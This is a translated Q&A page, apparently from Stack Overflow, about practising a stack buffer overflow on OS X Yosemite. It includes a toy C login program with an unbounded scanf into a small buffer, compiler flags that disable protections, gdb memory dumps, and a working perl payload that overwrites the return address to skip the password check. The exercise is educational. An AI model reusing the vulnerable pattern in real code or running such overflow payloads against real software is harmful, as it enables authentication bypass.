[英]Stack smashing on OS X Yosemite?
我無法弄清楚如何在 OS X 10.10.5 (Yosemite) 上禁用堆棧保護。 我一直在拼湊來自各種在線線程的有希望的 gcc 標志,但到目前為止還沒有設法禁用保護。 我目前正在編譯我的程序:
gcc -g3 -std=c99 -pedantic -Wall -m32 -fno-stack-protector -fno-sanitize=address -D_FORTIFY_SOURCE=0 -Wl,-no_pie -o program program.c
但是當我嘗試粉碎堆棧時,我出現了段錯誤。
我在 Red Hat Enterprise Linux Server 7.2 (Maipo) 上嘗試了相同的程序,並在適當地調整了內存地址差異后,在編譯后粉碎堆棧沒有問題:
gcc -g3 -std=c99 -pedantic -Wall -m32 -fno-stack-protector -o program program.c
還可能值得注意的是,與在大多數 Mac 上一樣,我機器上的 gcc 是 clang(Apple LLVM 版本 7.0.0 (clang-700.0.72))的符號鏈接。
如何禁用 Yosemite 的堆棧保護?
我正在使用的虛擬程序是:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int authenticate() {
char password[10];
printf("Enter password: ");
scanf("%s", password);
return strcmp(password, "1234567890") == 0;
}
void success() {
printf("Access granted\n");
exit(0);
}
void failure() {
printf("Access denied\n");
exit(1);
}
int main(int argc, char** argv) {
if (authenticate()) {
success();
} else {
failure();
}
}
當我運行otool -tv program
,我注意到以下幾點:
我要跳轉到的success
例程位於地址0x00001e70
。
我們通常在authenticate
后返回的指令位於地址0x00001efe
。
當我在輸入虛擬密碼“xxxxxxxxxx”並使用x/30xb &password
檢查緩沖區后運行gdb
,我觀察到:
0xbffffc32: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0xbffffc3a: 0x78 0x78 0x00 0x00 0x00 0x00 0x00 0x00
0xbffffc42: 0x00 0x00 0xfc 0xfc 0xff 0xbf 0x68 0xfc
0xbffffc4a: 0xff 0xbf 0xfe 0x1e 0x00 0x00
我們想將第 27 個0xfe
字節覆蓋為0x70
。
當我嘗試按如下方式粉碎堆棧時:
printf "xxxxxxxxxxxxxxxxxxxxxxxxxx\x70" | ./program # 26 bytes of junk, followed by 0x70
我遇到了段錯誤。
OS X ABI 要求從 16 字節對齊的堆棧發出系統調用(例如success
exit
調用)。 當您跳轉到成功時,您會減少 4 個字節,因為它沒有另一個位於堆棧中的返回地址(即,您應該call
該函數)
對此的解決方法是跳轉到更高堆棧幀中的success
調用。 跳轉到我的主要作品:
(gdb) disas main
Dump of assembler code for function main:
0x00001ed0 <+0>: push %ebp
0x00001ed1 <+1>: mov %esp,%ebp
0x00001ed3 <+3>: sub $0x18,%esp
0x00001ed6 <+6>: mov 0xc(%ebp),%eax
0x00001ed9 <+9>: mov 0x8(%ebp),%ecx
0x00001edc <+12>: movl $0x0,-0x4(%ebp)
0x00001ee3 <+19>: mov %ecx,-0x8(%ebp)
0x00001ee6 <+22>: mov %eax,-0xc(%ebp)
0x00001ee9 <+25>: call 0x1df0 <authenticate>
0x00001eee <+30>: cmp $0x0,%eax
0x00001ef1 <+33>: je 0x1f01 <main+49>
0x00001ef7 <+39>: call 0x1e60 <success>
0x00001efc <+44>: jmp 0x1f06 <main+54>
0x00001f01 <+49>: call 0x1e90 <failure>
0x00001f06 <+54>: mov -0x4(%ebp),%eax
0x00001f09 <+57>: add $0x18,%esp
0x00001f0c <+60>: pop %ebp
0x00001f0d <+61>: ret
然后返回call 0x1ef7
指令:
$ perl -e 'print "P"x26, "\xf7\x1e"' | ./stack
Enter password: Root access has been granted
$
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.